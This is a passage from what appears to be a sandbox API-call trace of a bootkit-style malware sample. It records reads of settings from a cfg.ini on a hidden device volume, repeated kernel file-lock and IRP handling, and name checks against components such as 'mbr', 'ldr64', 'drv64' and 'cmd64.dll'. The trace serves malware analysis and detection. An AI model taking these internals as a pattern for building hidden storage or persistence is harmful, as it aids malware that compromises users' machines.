lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.292] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.292] KeEnterCriticalRegion () [0118.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.293] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.293] IdePortDispatch () returned 0x103 [0118.293] KeWaitForMutexObject () returned 0x0 [0118.293] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.293] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.293] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.293] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.293] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.293] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800385cf10 [0118.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.293] KeLeaveCriticalRegion () [0118.293] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.293] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.293] KeEnterCriticalRegion () [0118.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.293] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.293] KeLeaveCriticalRegion () [0118.293] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.293] KeEnterCriticalRegion () [0118.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.293] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.293] IdePortDispatch () returned 0x103 [0118.294] KeWaitForMutexObject () returned 0x0 [0118.294] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.294] KeLeaveCriticalRegion () [0118.294] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.294] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.294] KeEnterCriticalRegion () [0118.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.294] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cae000 [0118.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.294] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.294] IdePortDispatch () returned 0x103 [0118.294] KeWaitForMutexObject () returned 0x0 [0118.294] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.294] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.294] IdePortDispatch () returned 0x103 [0118.294] KeWaitForMutexObject () returned 0x0 [0118.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.294] KeLeaveCriticalRegion () [0118.294] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.295] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.295] KeEnterCriticalRegion () [0118.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.295] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.295] KeLeaveCriticalRegion () [0118.295] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.295] KeEnterCriticalRegion () [0118.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.295] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.295] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c8070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.295] KeLeaveCriticalRegion () [0118.295] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.295] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.295] KeEnterCriticalRegion () [0118.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.295] ExFreePoolWithTag (P=0xfffffa800385cf10, Tag=0x0) [0118.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.295] KeLeaveCriticalRegion () [0118.295] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.295] ReleaseMutex (hMutex=0xf0) returned 1 [0118.295] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.296] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.296] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.296] KeEnterCriticalRegion () [0118.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.296] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.296] IdePortDispatch () returned 0x103 [0118.296] KeWaitForMutexObject () returned 0x0 [0118.296] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.296] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.296] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.296] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.296] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.296] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d0960 [0118.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.296] KeLeaveCriticalRegion () [0118.296] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.296] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.296] KeEnterCriticalRegion () [0118.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.296] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.296] KeLeaveCriticalRegion () [0118.296] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.297] KeEnterCriticalRegion () [0118.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.297] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.297] IdePortDispatch () returned 0x103 [0118.297] KeWaitForMutexObject () returned 0x0 [0118.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.297] KeLeaveCriticalRegion () [0118.297] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.297] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.297] KeEnterCriticalRegion () [0118.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.297] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002caf000 [0118.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.297] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.297] IdePortDispatch () returned 0x103 [0118.298] KeWaitForMutexObject () returned 0x0 [0118.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.298] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.298] IdePortDispatch () returned 0x103 [0118.298] KeWaitForMutexObject () returned 0x0 [0118.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.298] KeLeaveCriticalRegion () [0118.298] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.298] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.298] KeEnterCriticalRegion () [0118.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.298] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.299] KeLeaveCriticalRegion () [0118.299] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.299] KeEnterCriticalRegion () [0118.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.299] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.299] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.299] KeLeaveCriticalRegion () [0118.299] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.299] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.299] KeEnterCriticalRegion () [0118.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.299] ExFreePoolWithTag (P=0xfffffa80039d0960, Tag=0x0) [0118.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.299] KeLeaveCriticalRegion () [0118.299] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.299] ReleaseMutex (hMutex=0xf0) returned 1 [0118.299] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.299] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.299] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.299] KeEnterCriticalRegion () [0118.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.299] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.299] IdePortDispatch () returned 0x103 [0118.299] KeWaitForMutexObject () returned 0x0 [0118.299] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.299] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.299] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.300] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.300] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.300] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003963830 [0118.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.300] KeLeaveCriticalRegion () [0118.300] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.300] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.300] KeEnterCriticalRegion () [0118.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.300] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.300] KeLeaveCriticalRegion () [0118.300] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.300] KeEnterCriticalRegion () [0118.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.300] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.300] IdePortDispatch () returned 0x103 [0118.300] KeWaitForMutexObject () returned 0x0 [0118.300] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.300] KeLeaveCriticalRegion () [0118.300] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.300] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.300] KeEnterCriticalRegion () [0118.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.300] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb0000 [0118.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.300] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.300] IdePortDispatch () returned 0x103 [0118.301] KeWaitForMutexObject () returned 0x0 [0118.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.301] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.301] IdePortDispatch () returned 0x103 [0118.301] KeWaitForMutexObject () returned 0x0 [0118.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.301] KeLeaveCriticalRegion () [0118.301] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.301] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.301] KeEnterCriticalRegion () [0118.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.301] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.302] KeLeaveCriticalRegion () [0118.302] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.302] KeEnterCriticalRegion () [0118.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.302] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.302] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.302] KeLeaveCriticalRegion () [0118.302] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.302] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.302] KeEnterCriticalRegion () [0118.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.302] ExFreePoolWithTag (P=0xfffffa8003963830, Tag=0x0) [0118.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.302] KeLeaveCriticalRegion () [0118.302] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.302] ReleaseMutex (hMutex=0xf0) returned 1 [0118.302] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.302] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.302] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.302] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.302] KeEnterCriticalRegion () [0118.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.302] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.302] IdePortDispatch () returned 0x103 [0118.303] KeWaitForMutexObject () returned 0x0 [0118.303] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.303] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.303] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.303] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.303] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.303] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.303] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.303] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.303] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.303] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.303] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.303] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.303] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.303] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.303] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.303] KeLeaveCriticalRegion () [0118.303] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.303] DeleteFileA 